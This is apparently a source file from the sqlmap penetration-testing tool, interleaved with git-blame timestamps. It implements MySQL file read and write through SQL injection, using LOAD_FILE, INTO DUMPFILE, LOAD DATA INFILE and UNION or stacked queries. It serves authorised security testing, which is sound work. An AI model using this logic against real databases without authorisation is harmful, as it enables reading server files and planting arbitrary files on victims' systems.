2010-03-23 01:57:57 +03:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2010-03-23 01:57:57 +03:00
"""
2011-09-21 02:16:56 +04:00
from lib . core . common import isNumPosStrValue
2012-05-18 12:51:50 +04:00
from lib . core . common import isTechniqueAvailable
2010-03-23 01:57:57 +03:00
from lib . core . common import randomStr
2011-09-21 02:16:56 +04:00
from lib . core . common import singleTimeWarnMessage
2010-03-23 01:57:57 +03:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2012-02-29 18:36:23 +04:00
from lib . core . enums import CHARSET_TYPE
2012-04-04 13:25:05 +04:00
from lib . core . enums import EXPECTED
2012-05-24 22:05:33 +04:00
from lib . core . enums import PAYLOAD
2010-11-08 12:20:02 +03:00
from lib . core . enums import PLACE
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapNoneDataException
2010-03-23 01:57:57 +03:00
from lib . request import inject
2011-06-18 16:34:41 +04:00
from lib . techniques . union . use import unionUse
2010-03-23 01:57:57 +03:00
from plugins . generic . filesystem import Filesystem as GenericFilesystem
class Filesystem ( GenericFilesystem ) :
def __init__ ( self ) :
GenericFilesystem . __init__ ( self )
2012-07-06 18:13:50 +04:00
def nonStackedReadFile ( self , rFile ) :
2010-03-23 01:57:57 +03:00
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
2012-07-11 13:58:47 +04:00
result = inject . getValue ( " SELECT HEX(LOAD_FILE( ' %s ' )) " % rFile , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
return result
def stackedReadFile ( self , rFile ) :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
self . createSupportTbl ( self . fileTblName , self . tblField , " longtext " )
self . getRemoteTempPath ( )
tmpFile = " %s /tmpf %s " % ( conf . tmpPath , randomStr ( lowercase = True ) )
2011-04-30 17:20:05 +04:00
debugMsg = " saving hexadecimal encoded content of file ' %s ' " % rFile
2010-03-23 01:57:57 +03:00
debugMsg + = " into temporary file ' %s ' " % tmpFile
logger . debug ( debugMsg )
inject . goStacked ( " SELECT HEX(LOAD_FILE( ' %s ' )) INTO DUMPFILE ' %s ' " % ( rFile , tmpFile ) )
2011-04-30 17:20:05 +04:00
debugMsg = " loading the content of hexadecimal encoded file "
2010-03-23 01:57:57 +03:00
debugMsg + = " ' %s ' into support table " % rFile
logger . debug ( debugMsg )
inject . goStacked ( " LOAD DATA INFILE ' %s ' INTO TABLE %s FIELDS TERMINATED BY ' %s ' ( %s ) " % ( tmpFile , self . fileTblName , randomStr ( 10 ) , self . tblField ) )
2012-06-16 00:41:53 +04:00
length = inject . getValue ( " SELECT LENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2010-03-23 01:57:57 +03:00
2011-09-21 02:16:56 +04:00
if not isNumPosStrValue ( length ) :
2012-04-19 18:05:45 +04:00
warnMsg = " unable to retrieve the content of the "
warnMsg + = " file ' %s ' " % rFile
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
2012-07-02 02:25:05 +04:00
warnMsg + = " , going to fall-back to simpler UNION technique "
2012-04-19 18:05:45 +04:00
logger . warn ( warnMsg )
2012-07-06 18:13:50 +04:00
result = self . nonStackedReadFile ( rFile )
2012-04-19 18:05:45 +04:00
else :
2012-12-06 17:14:19 +04:00
raise SqlmapNoneDataException , warnMsg
2012-04-19 18:05:45 +04:00
else :
length = int ( length )
sustrLen = 1024
2010-03-23 01:57:57 +03:00
2012-04-19 18:05:45 +04:00
if length > sustrLen :
result = [ ]
2010-03-23 01:57:57 +03:00
2012-04-19 18:05:45 +04:00
for i in xrange ( 1 , length , sustrLen ) :
2012-06-16 00:41:53 +04:00
chunk = inject . getValue ( " SELECT MID( %s , %d , %d ) FROM %s " % ( self . tblField , i , sustrLen , self . fileTblName ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
2012-04-19 18:05:45 +04:00
result . append ( chunk )
else :
2012-06-16 00:41:53 +04:00
result = inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
return result
2012-07-02 02:25:05 +04:00
def unionWriteFile ( self , wFile , dFile , fileType ) :
2010-03-23 01:57:57 +03:00
logger . debug ( " encoding file to its hexadecimal string value " )
2011-04-30 17:20:05 +04:00
fcEncodedList = self . fileEncode ( wFile , " hex " , True )
fcEncodedStr = fcEncodedList [ 0 ]
2010-03-23 01:57:57 +03:00
fcEncodedStrLen = len ( fcEncodedStr )
2010-11-28 21:10:54 +03:00
if kb . injection . place == PLACE . GET and fcEncodedStrLen > 8000 :
2011-04-30 17:20:05 +04:00
warnMsg = " the injection is on a GET parameter and the file "
2010-03-23 01:57:57 +03:00
warnMsg + = " to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg + = " bytes, this might cause errors in the file "
warnMsg + = " writing process "
logger . warn ( warnMsg )
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , dFile )
logger . debug ( debugMsg )
sqlQuery = " %s INTO DUMPFILE ' %s ' " % ( fcEncodedStr , dFile )
2011-02-12 02:35:45 +03:00
unionUse ( sqlQuery , unpack = False )
2010-03-23 01:57:57 +03:00
2012-12-18 21:49:18 +04:00
self . askCheckWrittenFile ( wFile , dFile )
2010-03-23 01:57:57 +03:00
2011-06-07 19:13:51 +04:00
warnMsg = " expect junk characters inside the "
warnMsg + = " file as a leftover from UNION query "
2011-06-08 18:35:23 +04:00
singleTimeWarnMessage ( warnMsg )
2011-06-07 19:13:51 +04:00
2012-07-02 02:25:05 +04:00
def stackedWriteFile ( self , wFile , dFile , fileType ) :
2011-04-30 17:20:05 +04:00
debugMsg = " creating a support table to write the hexadecimal "
2010-03-23 01:57:57 +03:00
debugMsg + = " encoded file to "
logger . debug ( debugMsg )
self . createSupportTbl ( self . fileTblName , self . tblField , " longblob " )
logger . debug ( " encoding file to its hexadecimal string value " )
fcEncodedList = self . fileEncode ( wFile , " hex " , False )
2011-04-30 17:20:05 +04:00
debugMsg = " forging SQL statements to write the hexadecimal "
2010-03-23 01:57:57 +03:00
debugMsg + = " encoded file to the support table "
logger . debug ( debugMsg )
sqlQueries = self . fileToSqlQueries ( fcEncodedList )
logger . debug ( " inserting the hexadecimal encoded file to the support table " )
for sqlQuery in sqlQueries :
inject . goStacked ( sqlQuery )
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , dFile )
logger . debug ( debugMsg )
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject . goStacked ( " SELECT %s FROM %s INTO DUMPFILE ' %s ' " % ( self . tblField , self . fileTblName , dFile ) , silent = True )
2012-12-18 21:49:18 +04:00
self . askCheckWrittenFile ( wFile , dFile )